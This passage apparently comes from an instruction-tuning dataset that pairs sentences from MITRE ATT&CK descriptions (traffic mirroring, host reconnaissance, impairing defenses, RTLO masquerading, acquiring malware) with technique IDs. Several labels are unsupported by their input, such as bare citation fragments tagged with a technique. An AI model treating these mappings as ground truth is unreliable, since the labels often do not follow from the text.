"T1175", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. ### Response: T1175."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure.", "output": "T1020.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. ### Response: T1020.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Traffic mirroring is a native feature for some devices, often used for network analysis.", "output": "T1020.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Traffic mirroring is a native feature for some devices, often used for network analysis. ### Response: T1020.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device.", "output": "T1020.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. ### Response: T1020.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)", "output": "T1020.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring) ### Response: T1020.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control.", "output": "T1020.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. ### Response: T1020.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)", "output": "T1020.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) ### Response: T1020.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many cloud-based environments also support traffic mirroring.", "output": "T1020.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many cloud-based environments also support traffic mirroring. ### Response: T1020.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)", "output": "T1020.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) ### Response: T1020.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040),", "output": "T1020.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), ### Response: T1020.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.", "output": "T1020.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary. ### Response: T1020.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.", "output": "T1020", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. ### Response: T1020."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).", "output": "T1020", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). ### Response: T1020."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's hosts that can be used during targeting.", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's hosts that can be used during targeting. ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation:", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's client configurations that can be used during targeting.", "output": "T1592.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's client configurations that can be used during targeting. ### Response: T1592.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.", "output": "T1592.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. ### Response: T1592.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1592.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1592.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).", "output": "T1592.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). ### Response: T1592.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1592.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1592.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1592.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1592.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also span both native defenses as well as supplemental capabilities installed by users and administrators.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also span both native defenses as well as supplemental capabilities installed by users and administrators. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown) ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources.", "output": "T1562.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. ### Response: T1562.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004).", "output": "T1562.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). ### Response: T1562.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols.", "output": "T1562.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. ### Response: T1562.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment.", "output": "T1562.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. ### Response: T1562.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity, or remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)", "output": "T1562.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity, or remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) ### Response: T1562.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.", "output": "T1562.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. ### Response: T1562.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site) ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign.", "output": "T1036.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. ### Response: T1036.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse.", "output": "T1036.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. ### Response: T1036.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, a Windows screensaver executable named <code>March 25 \\u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>.", "output": "T1036.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, a Windows screensaver executable named <code>March 25 \\u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. ### Response: T1036.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A JavaScript file named <code>photo_high_re\\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.(Citation:", "output": "T1036.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A JavaScript file named <code>photo_high_re\\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.(Citation: ### Response: T1036.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Infosecinstitute RTLO Technique)", "output": "T1036.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Infosecinstitute RTLO Technique) ### Response: T1036.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type.", "output": "T1036.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. ### Response: T1036.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character.", "output": "T1036.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. ### Response: T1036.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation:", "output": "T1036.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: ### Response: T1036.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky RTLO Cyber Crime)", "output": "T1036.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky RTLO Cyber Crime) ### Response: T1036.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.", "output": "T1036.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default. ### Response: T1036.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy and/or steal capabilities that can be used during targeting.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy and/or steal capabilities that can be used during targeting. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab) ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries).", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise) ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy, steal, or download malware that can be used during targeting.", "output": "T1588.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy, steal, or download malware that can be used during targeting. ### Response: T1588.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols.", "output": "T1588.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. ### Response: T1588.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.", "output": "T1588.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading 